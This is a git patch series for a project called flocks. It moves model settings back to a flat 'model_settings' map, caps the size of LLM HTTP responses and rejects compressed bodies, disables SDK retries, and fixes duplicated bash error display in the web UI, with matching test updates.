section.""" data = cls._read_raw() - providers = data.get("provider") - if not isinstance(providers, dict): - providers = {} - provider = providers.get(provider_id) - if not isinstance(provider, dict): - provider = {} - models = provider.get("models") - if not isinstance(models, dict): - models = {} - model = models.get(model_id) - if not isinstance(model, dict): - model = {} - - # A write to a legacy-only setting migrates its complete effective value - # into the provider model. Untouched legacy entries remain readable. - existing_setting = _get_model_setting_from_data(data, provider_id, model_id) - for field, value in existing_setting.items(): - if field in _MODEL_SETTING_FIELDS: - model[field] = value - - for field, value in setting.items(): - if field not in _MODEL_SETTING_FIELDS: - continue - if field == "default_parameters" and isinstance(value, dict): - existing_parameters = model.get("default_parameters") - merged_parameters = dict( - existing_parameters - if isinstance(existing_parameters, dict) - else {} - ) - merged_parameters.update(value) - model[field] = merged_parameters - else: - model[field] = value - models[model_id] = model - provider["models"] = models - providers[provider_id] = provider - data["provider"] = providers - - legacy_settings = data.get("model_settings") - legacy_key = f"{provider_id}/{model_id}" - if isinstance(legacy_settings, dict) and legacy_key in legacy_settings: - legacy_settings.pop(legacy_key) - if legacy_settings: - data["model_settings"] = legacy_settings - else: - data.pop("model_settings", None) + if "model_settings" not in data: + data["model_settings"] = {} + key = f"{provider_id}/{model_id}" + existing = data["model_settings"].get(key, {}) + existing.update(setting) + data["model_settings"][key] = existing cls._write_raw(data) log.info("config_writer.model_setting_updated", { "provider_id": provider_id, @@ -541,36 +443,14 @@ def set_model_setting( @classmethod def remove_model_setting(cls, provider_id: str, model_id: str) -> bool: - """Remove provider-scoped and legacy settings for a model.""" + """Remove a model setting from flocks.json.""" data = cls._read_raw() - removed = False - providers = data.get("provider") - provider = providers.get(provider_id, {}) if isinstance(providers, dict) else {} - models = provider.get("models") if isinstance(provider, dict) else None - model = models.get(model_id) if isinstance(models, dict) else None - if isinstance(model, dict): - for field in _MODEL_SETTING_FIELDS: - if field in model: - del model[field] - removed = True - if removed and not model: - models.pop(model_id, None) - if not models: - provider.pop("models", None) - if not provider: - if isinstance(providers, dict): - providers.pop(provider_id, None) - settings = data.get("model_settings") + settings = data.get("model_settings", {}) key = f"{provider_id}/{model_id}" - if isinstance(settings, dict) and key in settings: - del settings[key] - removed = True - if settings: - data["model_settings"] = settings - else: - data.pop("model_settings", None) - if not removed: + if key not in settings: return False + del settings[key] + data["model_settings"] = settings cls._write_raw(data) return True @@ -578,30 +458,7 @@ def remove_model_setting(cls, provider_id: str, model_id: str) -> bool: def get_all_model_settings(cls) -> Dict[str, Dict[str, Any]]: """Get all model settings. Returns dict keyed by 'provider_id/model_id'.""" data = cls._read_raw() - legacy_settings = data.get("model_settings") - result = { - key: dict(value) - for key, value in ( - legacy_settings.items() - if isinstance(legacy_settings, dict) - else () - ) - if isinstance(value, dict) - } - providers = data.get("provider") - provider_items = providers.items() if isinstance(providers, dict) else () - for provider_id, provider in provider_items: - if not isinstance(provider, dict): - continue - models = provider.get("models") - model_items = models.items() if isinstance(models, dict) else () - for model_id, model in model_items: - current = _extract_model_setting(model) - if not current: - continue - key = f"{provider_id}/{model_id}" - result[key] = _merge_model_settings(result.get(key), current) - return result + return data.get("model_settings", {}) @classmethod def get_effective_model_default_parameters( @@ -609,7 +466,7 @@ def get_effective_model_default_parameters( provider_id: str, model_id: str, ) -> Dict[str, Any]: - """Resolve global, legacy, and provider-model parameter defaults.""" + """Resolve global defaults with model-specific overrides.""" data = cls._read_raw() result: Dict[str, Any] = {} default_models = data.get("default_models") @@ -621,7 +478,8 @@ def get_effective_model_default_parameters( if isinstance(global_parameters, dict): result.update(global_parameters) - setting = _get_model_setting_from_data(data, provider_id, model_id) + settings = data.get("model_settings", {}) + setting = settings.get(f"{provider_id}/{model_id}", {}) model_parameters = setting.get("default_parameters", {}) if isinstance(model_parameters, dict): result.update(model_parameters) @@ -892,8 +750,8 @@ def remove_api_service(cls, service_id: str) -> bool: # ------------------------------------------------------------------ # # User-level overlay for per-tool settings (currently: ``enabled``). - # This remains a flat map keyed by tool name; model settings now live - # directly under their provider model entries. + # The section mirrors ``model_settings`` for naming consistency — + # both are flat maps keyed by the entity's unique id. # # Why this exists: YAML plugin tool files under # ``/.flocks/plugins/tools/`` are tracked by git and may be diff --git a/tests/config/test_config_writer.py b/tests/config/test_config_writer.py index 4355508b1..b735f0a06 100644 --- a/tests/config/test_config_writer.py +++ b/tests/config/test_config_writer.py @@ -256,7 +256,7 @@ def test_no_config_file(self, tmp_path, monkeypatch): class TestConfigWriterModelSettings: - """Test provider-scoped model settings and legacy compatibility.""" + """Test model_settings section CRUD.""" def test_get_model_setting_empty(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -273,12 +273,6 @@ def test_set_and_get_model_setting(self, temp_project): assert setting is not None assert setting["enabled"] is False assert setting["default_parameters"]["temperature"] == 0.5 - data = ConfigWriter._read_raw() - assert "model_settings" not in data - assert data["provider"]["openai"]["models"]["gpt-4o"] == { - "enabled": False, - "default_parameters": {"temperature": 0.5}, - } def test_update_model_setting_merges(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -300,24 +294,6 @@ def test_remove_model_setting(self, temp_project): ConfigWriter.set_model_setting("openai", "gpt-4o", {"enabled": True}) assert ConfigWriter.remove_model_setting("openai", "gpt-4o") is True assert ConfigWriter.get_model_setting("openai", "gpt-4o") is None - assert "openai" not in ConfigWriter._read_raw()["provider"] - - def test_remove_model_setting_preserves_model_definition(self, temp_project): - from flocks.config.config_writer import ConfigWriter - - ConfigWriter.set_model_setting( - "anthropic", - "claude-sonnet-4-5", - {"enabled": False}, - ) - - assert ConfigWriter.remove_model_setting( - "anthropic", - "claude-sonnet-4-5", - ) is True - assert ConfigWriter.get_provider_raw("anthropic")["models"] == { - "claude-sonnet-4-5": {"name": "Claude Sonnet 4.5"} - } def test_remove_nonexistent_model_setting(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -333,94 +309,6 @@ def test_get_all_model_settings(self, temp_project): assert "anthropic/claude-sonnet" in all_settings assert len(all_settings) == 2 - def test_legacy_model_setting_remains_readable(self, temp_project): - from flocks.config.config_writer import ConfigWriter - - data = ConfigWriter._read_raw() - data["model_settings"] = { - "anthropic/claude-sonnet-4-5": { - "enabled": False, - "default_parameters": {"reasoning_effort": "high"}, - } - } - ConfigWriter._write_raw(data) - - setting = ConfigWriter.get_model_setting( - "anthropic", - "claude-sonnet-4-5", - ) - - assert setting == { - "enabled": False, - "default_parameters": {"reasoning_effort": "high"}, - } - - def test_provider_model_setting_overrides_legacy_values(self, temp_project): - from flocks.config.config_writer import ConfigWriter - - data = ConfigWriter._read_raw() - data["model_settings"] = { - "anthropic/claude-sonnet-4-5": { - "enabled": False, - "default_parameters": { - "reasoning_effort": "high", - "temperature": 0.4, - }, - } - } - data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"].update( - { - "enabled": True, - "default_parameters": {"reasoning_effort": "max"}, - } - ) - ConfigWriter._write_raw(data) - - setting = ConfigWriter.get_model_setting( - "anthropic", - "claude-sonnet-4-5", - ) - - assert setting == { - "enabled": True, - "default_parameters": { - "reasoning_effort": "max", - "temperature": 0.4, - }, - } - - def test_updating_legacy_setting_migrates_it_to_provider_model(self, temp_project): - from flocks.config.config_writer import ConfigWriter - - data = ConfigWriter._read_raw() - data["model_settings"] = { - "anthropic/claude-sonnet-4-5": { - "enabled": False, - "default_parameters": { - "temperature": 0.4, - "reasoning_effort": "high", - }, - } - } - ConfigWriter._write_raw(data) - - ConfigWriter.set_model_setting( - "anthropic", - "claude-sonnet-4-5", - {"default_parameters": {"reasoning_effort": "max"}}, - ) - - data = ConfigWriter._read_raw() - assert data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"] == { - "name": "Claude Sonnet 4.5", - "enabled": False, - "default_parameters": { - "temperature": 0.4, - "reasoning_effort": "max", - }, - } - assert "model_settings" not in data - def test_effective_default_parameters_follow_scope_precedence(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -438,9 +326,6 @@ def test_effective_default_parameters_follow_scope_precedence(self, temp_project } } } - data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"]["default_parameters"] = { - "reasoning_effort": "max", - } ConfigWriter._write_raw(data) parameters = ConfigWriter.get_effective_model_default_parameters( @@ -449,35 +334,11 @@ def test_effective_default_parameters_follow_scope_precedence(self, temp_project ) assert parameters == { - "reasoning_effort": "max", + "reasoning_effort": "high", "temperature": 0.1, } - def test_add_model_preserves_provider_scoped_settings(self, temp_project): - from flocks.config.config_writer import ConfigWriter - - ConfigWriter.set_model_setting( - "anthropic", - "claude-sonnet-4-5", - { - "enabled": False, - "default_parameters": {"reasoning_effort": "high"}, - }, - ) - ConfigWriter.add_model( - "anthropic", - "claude-sonnet-4-5", - {"name": "Updated Claude"}, - ) - - model = ConfigWriter.get_provider_raw("anthropic")["models"]["claude-sonnet-4-5"] - assert model == { - "name": "Updated Claude", - "enabled": False, - "default_parameters": {"reasoning_effort": "high"}, - } - - def test_provider_model_settings_preserve_other_sections(self, temp_project): + def test_model_settings_preserve_other_sections(self, temp_project): from flocks.config.config_writer import ConfigWriter ConfigWriter.set_model_setting("openai", "gpt-4o", {"enabled": True}) diff --git a/tests/provider/test_model_management_p2p3.py b/tests/provider/test_model_management_p2p3.py index a86e26ce8..e4ff4ea61 100644 --- a/tests/provider/test_model_management_p2p3.py +++ b/tests/provider/test_model_management_p2p3.py @@ -335,8 +335,9 @@ def test_settings_persisted_in_flocks_json(self, temp_project): # Verify it's in flocks.json data = ConfigWriter._read_raw() - assert "model_settings" not in data - assert data["provider"]["openai"]["models"]["gpt-4o"]["enabled"] is False + assert "model_settings" in data + assert "openai/gpt-4o" in data["model_settings"] + assert data["model_settings"]["openai/gpt-4o"]["enabled"] is False def test_default_model_persisted_in_flocks_json(self, temp_project): """Verify that default models are persisted in flocks.json.""" diff --git a/webui/src/pages/Model/index.tsx b/webui/src/pages/Model/index.tsx index ba81c6c05..959ac8ede 100644 --- a/webui/src/pages/Model/index.tsx +++ b/webui/src/pages/Model/index.tsx @@ -2841,31 +2841,33 @@ function ModelDetailSheet({ const handleSave = async () => { setLoading(true); try { - await modelV2API.createDefinition(provider.id, { - model_id: model.id, - name: name.trim() || model.id, - context_window: parseInt(contextWindow) || undefined, - max_output_tokens: parseInt(maxOutput) || undefined, - supports_vision: supportsVision, - supports_tools: supportsTools, - supports_streaming: supportsStreaming, - supports_reasoning: modelSupportsReasoning ? modelSupportsReasoning : supportsReasoning, - input_price: parseFloat(inputPrice) || 0, - output_price: parseFloat(outputPrice) || 0, - cache_read_price: cacheReadPrice.trim() === '' - ? null - : parseFloat(cacheReadPrice) || 0, - currency, - }); - await modelSettingsAPI.update(provider.id, model.id, { - enabled, - default_parameters: modelSupportsReasoning - ? { - ...defaultParameters, - enable_thinking: supportsReasoning, - } - : undefined, - }); + await Promise.all([ + modelV2API.createDefinition(provider.id, { + model_id: model.id, + name: name.trim() || model.id, + context_window: parseInt(contextWindow) || undefined, + max_output_tokens: parseInt(maxOutput) || undefined, + supports_vision: supportsVision, + supports_tools: supportsTools, + supports_streaming: supportsStreaming, + supports_reasoning: modelSupportsReasoning ? modelSupportsReasoning : supportsReasoning, + input_price: parseFloat(inputPrice) || 0, + output_price: parseFloat(outputPrice) || 0, + cache_read_price: cacheReadPrice.trim() === '' + ? null + : parseFloat(cacheReadPrice) || 0, + currency, + }), + modelSettingsAPI.update(provider.id, model.id, { + enabled, + default_parameters: modelSupportsReasoning + ? { + ...defaultParameters, + enable_thinking: supportsReasoning, + } + : undefined, + }), + ]); toast.success(t('credentialsSaved')); onSaved(); } catch (e: any) { From 54d9fd5bbc1b18c18e80f9fa8c482c01fe16bcf8 Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Mon, 10 Aug 2026 19:34:54 +0800 Subject: [PATCH 36/67] fix(workflow): bound model response memory --- flocks/provider/sdk/openai.py | 18 ++- flocks/provider/sdk/openai_base.py | 140 +++++++++++++++++- flocks/provider/sdk/openai_compatible.py | 5 +- flocks/workflow/llm.py | 4 + tests/provider/test_openai_base_provider.py | 121 +++++++++++++++ .../test_openai_compatible_provider.py | 1 + tests/provider/test_openai_provider.py | 5 +- tests/workflow/test_workflow_llm.py | 15 +- 8 files changed, 301 insertions(+), 8 deletions(-) diff --git a/flocks/provider/sdk/openai.py b/flocks/provider/sdk/openai.py index a360b6e71..2b2251763 100644 --- a/flocks/provider/sdk/openai.py +++ b/flocks/provider/sdk/openai.py @@ -18,6 +18,7 @@ ) from flocks.provider.sdk.openai_base import ( DEFAULT_HTTP_TIMEOUT, + create_openai_http_client, _normalize_stream_usage, build_reasoning_metadata, _coerce_bool, @@ -25,6 +26,7 @@ extract_reasoning_details, format_openai_content, format_openai_messages, + raise_if_response_body_unsafe, resolve_verify_ssl, ) from flocks.utils.log import Log @@ -83,10 +85,11 @@ def _get_client(self): if isinstance(cfg_settings, dict) and "trust_env" in cfg_settings: trust_env = _coerce_bool(cfg_settings.get("trust_env"), trust_env) verify_ssl = resolve_verify_ssl(cfg_settings, default=True) - http_client = httpx.AsyncClient( + http_client = create_openai_http_client( trust_env=trust_env, verify=verify_ssl, timeout=DEFAULT_HTTP_TIMEOUT, + custom_settings=cfg_settings, ) if base_url: @@ -94,6 +97,7 @@ def _get_client(self): api_key=api_key, base_url=base_url, http_client=http_client, + max_retries=0, ) self.log.info( "openai.client.created", @@ -104,7 +108,11 @@ def _get_client(self): }, ) else: - self._client = AsyncOpenAI(api_key=api_key, http_client=http_client) + self._client = AsyncOpenAI( + api_key=api_key, + http_client=http_client, + max_retries=0, + ) self.log.info( "openai.client.created", {"trust_env": trust_env, "verify_ssl": verify_ssl}, @@ -158,7 +166,11 @@ async def chat( if kwargs.get("reasoningEffort"): request_params["reasoning_effort"] = kwargs["reasoningEffort"] - response = await client.chat.completions.create(**request_params) + try: + response = await client.chat.completions.create(**request_params) + except Exception as exc: + raise_if_response_body_unsafe(exc) + raise choice = response.choices[0] assistant_message = getattr(choice, "message", None) text_content = ( diff --git a/flocks/provider/sdk/openai_base.py b/flocks/provider/sdk/openai_base.py index b56cb05b2..eecb5b2ba 100644 --- a/flocks/provider/sdk/openai_base.py +++ b/flocks/provider/sdk/openai_base.py @@ -31,6 +31,141 @@ # timeout) let small control-plane requests fail fast while multimodal # (image) uploads get the headroom they need on slow links. DEFAULT_HTTP_TIMEOUT = httpx.Timeout(connect=30.0, read=180.0, write=1800.0, pool=60.0) +DEFAULT_MAX_RESPONSE_BYTES = 16 * 1024 * 1024 + + +class ResponseBodySafetyError(httpx.TransportError): + """Raised when an LLM response cannot be safely consumed.""" + + +class ResponseBodyTooLargeError(ResponseBodySafetyError): + """Raised before an OpenAI-style response can be fully buffered.""" + + def __init__(self, max_bytes: int, received_bytes: int) -> None: + self.max_bytes = max_bytes + self.received_bytes = received_bytes + super().__init__( + "LLM response body exceeded the configured limit: " + f"{received_bytes} bytes received (limit {max_bytes} bytes)" + ) + + +class ResponseBodyUnsupportedEncodingError(ResponseBodySafetyError): + """Raised before compressed response content can bypass the byte cap.""" + + def __init__(self, content_encoding: str) -> None: + self.content_encoding = content_encoding + super().__init__( + "LLM response uses unsupported content encoding " + f"{content_encoding!r}; expected identity" + ) + + +class LLMResponseSafetyError(RuntimeError): + """Provider-facing error for a response rejected by the memory guard.""" + + +class LLMResponseTooLargeError(LLMResponseSafetyError): + """Provider-facing error that preserves an HTTP response-size failure.""" + + +class LLMResponseUnsupportedEncodingError(LLMResponseSafetyError): + """Provider-facing error for a compressed response body.""" + + +class _ResponseSizeLimitedStream(httpx.AsyncByteStream): + def __init__(self, stream: httpx.AsyncByteStream, max_bytes: int) -> None: + self._stream = stream + self._max_bytes = max_bytes + self._received_bytes = 0 + + async def __aiter__(self) -> AsyncIterator[bytes]: + async for chunk in self._stream: + self._received_bytes += len(chunk) + if self._received_bytes > self._max_bytes: + await self.aclose() + raise ResponseBodyTooLargeError( + self._max_bytes, + self._received_bytes, + ) + yield chunk + + async def aclose(self) -> None: + await self._stream.aclose() + + +def resolve_max_response_bytes(custom_settings: Any = None) -> int: + """Resolve the hard byte cap before model responses are buffered.""" + configured = None + if isinstance(custom_settings, dict): + configured = custom_settings.get("max_response_bytes") + if configured is None: + configured = os.getenv("FLOCKS_LLM_MAX_RESPONSE_BYTES") + try: + value = int(configured) + except (TypeError, ValueError): + return DEFAULT_MAX_RESPONSE_BYTES + return value if value > 0 else DEFAULT_MAX_RESPONSE_BYTES + + +def response_size_limit_hook(max_bytes: int): + """Create an httpx response hook that rejects oversized bodies early.""" + async def _limit(response: httpx.Response) -> None: + content_encoding = response.headers.get("content-encoding", "").strip().lower() + if content_encoding not in ("", "identity"): + await response.aclose() + raise ResponseBodyUnsupportedEncodingError(content_encoding) + content_length = response.headers.get("content-length") + try: + declared_bytes = int(content_length) if content_length is not None else 0 + except ValueError: + declared_bytes = 0 + if declared_bytes > max_bytes: + await response.aclose() + raise ResponseBodyTooLargeError(max_bytes, declared_bytes) + response.stream = _ResponseSizeLimitedStream(response.stream, max_bytes) + + return _limit + + +def create_openai_http_client( + *, + trust_env: bool, + verify: bool, + timeout: httpx.Timeout = DEFAULT_HTTP_TIMEOUT, + custom_settings: Any = None, +) -> httpx.AsyncClient: + """Build the shared OpenAI-compatible client with an ingress size cap.""" + max_response_bytes = resolve_max_response_bytes(custom_settings) + return httpx.AsyncClient( + trust_env=trust_env, + verify=verify, + timeout=timeout, + headers={"Accept-Encoding": "identity"}, + event_hooks={"response": [response_size_limit_hook(max_response_bytes)]}, + ) + + +def _response_body_safety_error(exc: BaseException) -> Optional[ResponseBodySafetyError]: + """Find a transport response-safety error after the OpenAI SDK wraps it.""" + seen = set() + current: Optional[BaseException] = exc + while current is not None and id(current) not in seen: + if isinstance(current, ResponseBodySafetyError): + return current + seen.add(id(current)) + next_exc = current.__cause__ or current.__context__ + current = next_exc if isinstance(next_exc, BaseException) else None + return None + + +def raise_if_response_body_unsafe(exc: BaseException) -> None: + """Expose a useful error instead of the SDK's generic connection error.""" + safety_error = _response_body_safety_error(exc) + if isinstance(safety_error, ResponseBodyTooLargeError): + raise LLMResponseTooLargeError(str(safety_error)) from exc + if isinstance(safety_error, ResponseBodyUnsupportedEncodingError): + raise LLMResponseUnsupportedEncodingError(str(safety_error)) from exc # Canonical OpenAI-style content translation, shared by every provider that @@ -454,6 +589,7 @@ async def create_chat_completion_with_fallbacks( try: return await create_call(**current_params) except Exception as exc: + raise_if_response_body_unsafe(exc) if ( not max_completion_tokens_retried and max_tokens is not None @@ -901,16 +1037,18 @@ def _get_client(self): if isinstance(custom_settings, dict) and "trust_env" in custom_settings: trust_env = _coerce_bool(custom_settings.get("trust_env"), trust_env) timeout = DEFAULT_HTTP_TIMEOUT - http_client = httpx.AsyncClient( + http_client = create_openai_http_client( trust_env=trust_env, verify=verify_ssl, timeout=timeout, + custom_settings=custom_settings, ) self._client = AsyncOpenAI( api_key=api_key, base_url=base_url, http_client=http_client, + max_retries=0, ) log.info("openai_base.client.created", { "provider_id": getattr(self._config, "id", None), diff --git a/flocks/provider/sdk/openai_compatible.py b/flocks/provider/sdk/openai_compatible.py index 812131da3..56e85ce7d 100644 --- a/flocks/provider/sdk/openai_compatible.py +++ b/flocks/provider/sdk/openai_compatible.py @@ -26,6 +26,7 @@ ThinkTagExtractor, apply_openai_token_limit, build_reasoning_metadata, + create_openai_http_client, create_chat_completion_with_fallbacks, _coerce_bool, _is_effective_thinking_enabled, @@ -106,10 +107,11 @@ def _get_client(self): ) if isinstance(custom_settings, dict) and "trust_env" in custom_settings: trust_env = _coerce_bool(custom_settings.get("trust_env"), trust_env) - http_client = httpx.AsyncClient( + http_client = create_openai_http_client( trust_env=trust_env, verify=verify_ssl, timeout=DEFAULT_HTTP_TIMEOUT, + custom_settings=custom_settings, ) # Create client @@ -117,6 +119,7 @@ def _get_client(self): api_key=api_key, base_url=base_url, http_client=http_client, + max_retries=0, ) self.log.info( "openai_compatible.client.created", diff --git a/flocks/workflow/llm.py b/flocks/workflow/llm.py index 850130a4b..5cf43f663 100644 --- a/flocks/workflow/llm.py +++ b/flocks/workflow/llm.py @@ -6,6 +6,7 @@ from flocks.config.config import Config from flocks.provider.provider import ChatMessage, Provider, ProviderConfig +from flocks.provider.sdk.openai_base import LLMResponseSafetyError from flocks.workflow._async_runtime import ( run_sync as _run_sync_on_shared_loop, run_sync_cancellable as _run_sync_cancellable_on_shared_loop, @@ -432,6 +433,9 @@ async def _call(): f"LLM call timed out after {timeout_s}s " f"(attempt {attempt + 1}/{total_attempts})" ) + except LLMResponseSafetyError as exc: + last_exc = exc + break except Exception as exc: last_exc = exc diff --git a/tests/provider/test_openai_base_provider.py b/tests/provider/test_openai_base_provider.py index 6f7fbd72f..ad05669bc 100644 --- a/tests/provider/test_openai_base_provider.py +++ b/tests/provider/test_openai_base_provider.py @@ -11,15 +11,23 @@ from types import SimpleNamespace from unittest.mock import AsyncMock, Mock, patch, MagicMock +import httpx import pytest +from openai import AsyncOpenAI import flocks.provider.sdk.openai_base as openai_base_module from flocks.provider.sdk.openai_base import ( OpenAIBaseProvider, + LLMResponseTooLargeError, + ResponseBodyUnsupportedEncodingError, + ResponseBodyTooLargeError, build_reasoning_metadata, + create_chat_completion_with_fallbacks, extract_reasoning_content, extract_reasoning_content_with_source, extract_reasoning_details, + response_size_limit_hook, + resolve_max_response_bytes, ) from flocks.provider.provider import ModelInfo, ModelCapabilities, ProviderConfig @@ -54,6 +62,19 @@ class MockProviderPrefersCompletionTokens(MockProviderWithoutCatalog): PREFER_MAX_COMPLETION_TOKENS = True +class _ChunkedAsyncStream(httpx.AsyncByteStream): + def __init__(self, chunks): + self.chunks = chunks + self.closed = False + + async def __aiter__(self): + for chunk in self.chunks: + yield chunk + + async def aclose(self): + self.closed = True + + class TestOpenAIBaseProviderGetModels: """Test suite for get_models() method.""" @@ -65,6 +86,105 @@ def test_default_http_timeout_values(self): assert timeout.read == 180.0 assert timeout.write == 1800.0 assert timeout.pool == 60.0 + + def test_response_size_limit_defaults_and_allows_override(self, monkeypatch): + monkeypatch.delenv("FLOCKS_LLM_MAX_RESPONSE_BYTES", raising=False) + assert resolve_max_response_bytes() == 16 * 1024 * 1024 + + monkeypatch.setenv("FLOCKS_LLM_MAX_RESPONSE_BYTES", "12345") + assert resolve_max_response_bytes() == 12345 + assert resolve_max_response_bytes({"max_response_bytes": 67890}) == 67890 + + @pytest.mark.asyncio + @pytest.mark.parametrize("status_code", [200, 500]) + async def test_response_size_limit_stops_success_and_error_bodies(self, status_code): + source = _ChunkedAsyncStream([b"1234", b"5678", b"9"]) + + async def handler(_request): + return httpx.Response(status_code, stream=source) + + async with httpx.AsyncClient( + transport=httpx.MockTransport(handler), + event_hooks={"response": [response_size_limit_hook(8)]}, + ) as client: + with pytest.raises(ResponseBodyTooLargeError, match="limit"): + await client.get("https://fake-model.test/v1/chat/completions") + + assert source.closed is True + + @pytest.mark.asyncio + async def test_response_size_limit_allows_body_at_exact_limit(self): + source = _ChunkedAsyncStream([b"1234", b"5678"]) + + async def handler(_request): + return httpx.Response(200, stream=source) + + async with httpx.AsyncClient( + transport=httpx.MockTransport(handler), + event_hooks={"response": [response_size_limit_hook(8)]}, + ) as client: + response = await client.get("https://fake-model.test/v1/chat/completions") + + assert response.content == b"12345678" + + @pytest.mark.asyncio + async def test_large_error_body_surfaces_a_provider_error(self): + attempts = 0 + + async def handler(_request): + nonlocal attempts + attempts += 1 + return httpx.Response( + 500, + stream=_ChunkedAsyncStream([b'{"error":{"message":"', b"x" * 16]), + ) + + async with httpx.AsyncClient( + transport=httpx.MockTransport(handler), + event_hooks={"response": [response_size_limit_hook(8)]}, + ) as http_client: + client = AsyncOpenAI( + api_key="fake", + base_url="https://fake-model.test/v1", + http_client=http_client, + max_retries=0, + ) + try: + with pytest.raises(LLMResponseTooLargeError, match="exceeded"): + await create_chat_completion_with_fallbacks( + client.chat.completions.create, + { + "model": "fake-model", + "messages": [{"role": "user", "content": "test"}], + }, + max_tokens=None, + logger=Mock(), + log_prefix="test", + ) + finally: + await client.close() + + assert attempts == 1 + + @pytest.mark.asyncio + async def test_response_size_limit_rejects_compressed_body_before_reading(self): + source = _ChunkedAsyncStream([b"not read"]) + + async def handler(_request): + return httpx.Response( + 200, + headers={"content-encoding": "gzip"}, + stream=source, + ) + + async with httpx.AsyncClient( + transport=httpx.MockTransport(handler), + event_hooks={"response": [response_size_limit_hook(8)]}, + ) as client: + with pytest.raises(ResponseBodyUnsupportedEncodingError, match="identity"): + await client.get("https://fake-model.test/v1/chat/completions") + + assert source.closed is True def test_get_models_with_catalog_success(self): """Test get_models() returns configured models.""" @@ -395,6 +515,7 @@ def test_get_client_respects_verify_ssl_false(self, mock_async_openai, mock_http api_key="test-api-key", base_url="https://gateway.internal/v1", http_client=http_client, + max_retries=0, ) diff --git a/tests/provider/test_openai_compatible_provider.py b/tests/provider/test_openai_compatible_provider.py index 92efbe651..1ef5b20cb 100644 --- a/tests/provider/test_openai_compatible_provider.py +++ b/tests/provider/test_openai_compatible_provider.py @@ -63,6 +63,7 @@ def test_get_client_respects_verify_ssl_false(self, mock_async_openai, mock_http api_key="test-api-key", base_url="https://gateway.internal/v1", http_client=http_client, + max_retries=0, ) diff --git a/tests/provider/test_openai_provider.py b/tests/provider/test_openai_provider.py index 10f6211d4..bc671640b 100644 --- a/tests/provider/test_openai_provider.py +++ b/tests/provider/test_openai_provider.py @@ -40,13 +40,14 @@ def test_get_client_respects_verify_ssl_false(self, mock_async_openai, mock_http assert kwargs["verify"] is False timeout_arg = kwargs["timeout"] assert getattr(timeout_arg, "connect", None) == 30.0 - assert getattr(timeout_arg, "read", None) == 600.0 - assert getattr(timeout_arg, "write", None) == 600.0 + assert getattr(timeout_arg, "read", None) == 180.0 + assert getattr(timeout_arg, "write", None) == 1800.0 mock_async_openai.assert_called_once_with( api_key="test-api-key", base_url="https://gateway.internal/v1", http_client=http_client, + max_retries=0, ) def test_configure_invalidates_existing_client_when_credentials_change(self): diff --git a/tests/workflow/test_workflow_llm.py b/tests/workflow/test_workflow_llm.py index 1a845fc4c..1767fadc6 100644 --- a/tests/workflow/test_workflow_llm.py +++ b/tests/workflow/test_workflow_llm.py @@ -8,6 +8,7 @@ from flocks.workflow.llm import LLMClient from flocks.workflow.engine import WorkflowEngine from flocks.workflow.models import Workflow +from flocks.provider.sdk.openai_base import LLMResponseTooLargeError class _FakeResponse: @@ -81,6 +82,8 @@ async def chat(self, model_id: str, messages, **kwargs): if current == "error": raise RuntimeError("simulated failure") + if current == "too_large": + raise LLMResponseTooLargeError("response exceeded limit") if current == "timeout": await asyncio.sleep(0.05) return _FakeResponse("late") @@ -241,6 +244,17 @@ def test_llm_retries_then_succeeds(monkeypatch): assert provider.calls == 3 +def test_llm_does_not_retry_an_oversized_response(monkeypatch): + provider = _FakeProvider("demo", "too_large", models=["m"]) + _patch_provider(monkeypatch, {"demo": provider}) + + client = LLMClient(provider_id="demo", model="m") + with pytest.raises(ValueError, match="response exceeded limit"): + client.ask("hello", max_retries=2, retry_delay_s=0) + + assert provider.calls == 1 + + def test_llm_timeout_retries_then_raises(monkeypatch): provider = _FakeProvider("demo", "timeout", models=["m"]) _patch_provider(monkeypatch, {"demo": provider}) @@ -310,4 +324,3 @@ async def _resolve_default_llm(): assert out1 == "first:first-model" assert out2 == "second:second-model" - From 232e021f0e96ff692e3ea364290cc7f44c833eb5 Mon Sep 17 00:00:00 2001 From: xiami762 Date: Tue, 11 Aug 2026 11:36:41 +0800 Subject: [PATCH 37/67] fix(webui): deduplicate bash tool errors --- .../src/components/common/SessionChat.test.ts | 23 +++++++++++++++++++ webui/src/components/common/SessionChat.tsx | 2 +- 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/webui/src/components/common/SessionChat.test.ts b/webui/src/components/common/SessionChat.test.ts index 698138064..29978f308 100644 --- a/webui/src/components/common/SessionChat.test.ts +++ b/webui/src/components/common/SessionChat.test.ts @@ -3818,6 +3818,29 @@ describe('ChatToolPart bash rendering', () => { expect(screen.getByText('$').closest('pre')).toHaveClass('max-h-64'); expect(screen.getByText('tests passed').closest('pre')).toHaveClass('max-h-64'); }); + + it.each([ + 'Tool execution was interrupted', + 'Command failed with exit code 1', + ])('renders the bash error once: %s', (error) => { + render( + React.createElement(ChatToolPart, { + part: { + id: 'bash-error-part', + type: 'tool', + tool: 'bash', + callID: 'call-bash-error', + state: { + status: 'error', + input: { command: 'exit 1' }, + error, + }, + } as any, + }), + ); + + expect(screen.getAllByText(error)).toHaveLength(1); + }); }); describe('ChatToolPart question result rendering', () => { diff --git a/webui/src/components/common/SessionChat.tsx b/webui/src/components/common/SessionChat.tsx index 0be01168a..cf3d3cdcd 100644 --- a/webui/src/components/common/SessionChat.tsx +++ b/webui/src/components/common/SessionChat.tsx @@ -6275,7 +6275,7 @@ export function ChatToolPart({ part, pendingQuestion, onAnswer, onReject, proces )} - {status === 'error' && state.error && ( + {!isBashTool && status === 'error' && state.error && (
{state.error}
